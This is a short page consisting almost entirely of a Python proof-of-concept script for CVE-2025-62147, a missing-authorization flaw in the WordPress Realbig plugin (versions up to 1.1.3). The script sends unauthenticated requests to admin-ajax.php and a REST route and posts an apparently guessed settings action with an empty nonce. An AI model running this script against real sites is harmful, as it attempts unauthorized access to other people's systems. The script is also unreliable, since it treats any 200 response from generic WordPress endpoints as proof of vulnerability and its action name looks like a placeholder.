CVE-2025-62147 WordPress Realbig插件缺失授权漏洞

# CVE-2025-62147 PoC - Missing Authorization in Realbig plugin # Affected: WordPress Realbig plugin <= 1.1.3 import requests import sys TARGET = "http://target-wordpress-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-62147 This vulnerability allows unauthorized access to protected functions """ # Try to access admin functions without authentication endpoints = [ f"{TARGET}/wp-admin/admin-ajax.php", f"{TARGET}/wp-json/wp/v2/realbig", ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) # If we get a 200 response instead of 401/403, vulnerability exists if response.status_code == 200: print(f"[+] Potential vulnerability at: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def exploit_unauthorized_access(): """ Exploit the missing authorization to access protected data """ # Example: Access plugin settings without authentication exploit_payload = { 'action': 'realbig_get_settings', 'nonce': '' } try: response = requests.post( f"{TARGET}/wp-admin/admin-ajax.php", data=exploit_payload, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-62147 Realbig Plugin Authorization Bypass") print("[*] Target:", TARGET) if check_vulnerability(): print("[!] Target appears to be vulnerable!") print("[*] Attempting exploitation...") exploit_unauthorized_access() else: print("[-] Target does not appear to be vulnerable")